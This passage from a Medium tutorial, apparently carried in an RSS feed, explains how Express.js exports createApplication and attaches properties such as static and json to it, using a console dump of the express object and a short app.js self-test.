subscribe: [Function (anonymous)],<br> trace: [Function (anonymous)],<br> unbind: [Function (anonymous)],<br> unlink: [Function (anonymous)],<br> unlock: [Function (anonymous)],<br> unsubscribe: [Function (anonymous)],<br> all: [Function: all],<br> del: [Function (anonymous)],<br> render: [Function: render],<br> listen: [Function: listen]<br> },<br> request: IncomingMessage {<br> header: [Function: header],<br> get: [Function: header],<br> accepts: [Function (anonymous)],<br> acceptsEncodings: [Function (anonymous)],<br> acceptsEncoding: [Function (anonymous)],<br> acceptsCharsets: [Function (anonymous)],<br> acceptsCharset: [Function (anonymous)],<br> acceptsLanguages: [Function (anonymous)],<br> acceptsLanguage: [Function (anonymous)],<br> range: [Function: range],<br> param: [Function: param],<br> is: [Function: is],<br> protocol: [Getter],<br> secure: [Getter],<br> ip: [Getter],<br> ips: [Getter],<br> subdomains: [Getter],<br> path: [Getter],<br> hostname: [Getter],<br> host: [Getter],<br> fresh: [Getter],<br> stale: [Getter],<br> xhr: [Getter]<br> },<br> response: ServerResponse {<br> status: [Function: status],<br> links: [Function (anonymous)],<br> send: [Function: send],<br> json: [Function: json],<br> jsonp: [Function: jsonp],<br> sendStatus: [Function: sendStatus],<br> sendFile: [Function: sendFile],<br> sendfile: [Function (anonymous)],<br> download: [Function: download],<br> type: [Function: contentType],<br> contentType: [Function: contentType],<br> format: [Function (anonymous)],<br> attachment: [Function: attachment],<br> append: [Function: append],<br> header: [Function: header],<br> set: [Function: header],<br> get: [Function (anonymous)],<br> clearCookie: [Function: clearCookie],<br> cookie: [Function (anonymous)],<br> location: [Function: location],<br> redirect: [Function: redirect],<br> vary: [Function (anonymous)],<br> render: [Function: render]<br> },<br> Route: [Function: Route],<br> Router: [Function (anonymous)] {<br> param: [Function: param],<br> handle: [Function: handle],<br> process_params: [Function: process_params],<br> use: [Function: use],<br> route: [Function: route],<br> acl: [Function (anonymous)],<br> bind: [Function (anonymous)],<br> checkout: [Function (anonymous)],<br> connect: [Function (anonymous)],<br> copy: [Function (anonymous)],<br> delete: [Function (anonymous)],<br> get: [Function (anonymous)],<br> head: [Function (anonymous)],<br> link: [Function (anonymous)],<br> lock: [Function (anonymous)],<br> &#39;m-search&#39;: [Function (anonymous)],<br> merge: [Function (anonymous)],<br> mkactivity: [Function (anonymous)],<br> mkcalendar: [Function (anonymous)],<br> mkcol: [Function (anonymous)],<br> move: [Function (anonymous)],<br> notify: [Function (anonymous)],<br> options: [Function (anonymous)],<br> patch: [Function (anonymous)],<br> post: [Function (anonymous)],<br> propfind: [Function (anonymous)],<br> proppatch: [Function (anonymous)],<br> purge: [Function (anonymous)],<br> put: [Function (anonymous)],<br> rebind: [Function (anonymous)],<br> report: [Function (anonymous)],<br> search: [Function (anonymous)],<br> source: [Function (anonymous)],<br> subscribe: [Function (anonymous)],<br> trace: [Function (anonymous)],<br> unbind: [Function (anonymous)],<br> unlink: [Function (anonymous)],<br> unlock: [Function (anonymous)],<br> unsubscribe: [Function (anonymous)],<br> all: [Function (anonymous)]<br> },<br> json: [Function: json],<br> query: [Function: query],<br> raw: [Function: raw],<br> static: [Function: serveStatic] {<br> mime: Mime {<br> types: [Object: null prototype],<br> extensions: [Object: null prototype],<br> default_type: &#39;application/octet-stream&#39;,<br> Mime: [Function: Mime],<br> charsets: [Object]<br> }<br> },<br> text: [Function: text],<br> urlencoded: [Function: urlencoded]<br>}</pre><p>Have you noticed something you saw before, just go up!</p><p>It’s createApplication, so what was returned is actually the reference to the createApplication();</p><p>You may be asking like me, before I understood!</p><p>where are the other exports we saw above like this! :</p><pre>// express.js module<br><br>exports.static = require(&#39;serve-static&#39;);<br>exports.json = bodyParser.json<br>exports.query = require(&#39;./middleware/query&#39;);<br>exports.raw = bodyParser.raw</pre><p>Try to search this output for an export you saw like static, you will find it as a property:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*GZXfe0AMz_i4JRuO9Gzfeg.png" /></figure><p>so what is happening here?</p><p>It’s all about functions behaving in JS, It behaves like an object ;)</p><p>when you used this:</p><pre>exports = module.exports = createApplication;</pre><p>you are exporting createApplication, and when you used these lines:</p><pre>exports.static = require(&#39;serve-static&#39;);<br>exports.json = bodyParser.json<br>exports.query = require(&#39;./middleware/query&#39;);<br>exports.raw = bodyParser.raw</pre><p>you were actually adding those properties to createApplication function reference, as exports and modules.exports reference to createApplication from this line:</p><pre>exports = module.exports = createApplication;</pre><p>so this line : exports.static = require(‘serve-static’) is running as if it was:</p><pre> createApplication.static = require(‘serve-static’);</pre><p>Now you understand what is happening.</p><p>__</p><p>Take a look at this snippet and test yourself by asking what is express equivalent to in each line below:</p><pre>// app.js<br><br>const express = require(&#39;express&#39;)<br>const app = express();<br>app.use(express.static(&#39;public&#39;))</pre><p>Don’t look at the answers before trying yourself ;)</p><p>finished? now lets go:</p><p>At the first line: we required the module that returned a createApplication reference which includes other properties and stored that reference at express constant;</p><p>At the second line: we called this express function by adding () to the reference express and that function (createApplication) returns app object which we stored in app constant.</p><p>At the third line: we used express constant which refers to createApplication function that has some properties like static function that we called here.</p><p>Now, I finished…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6e727d23a448" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>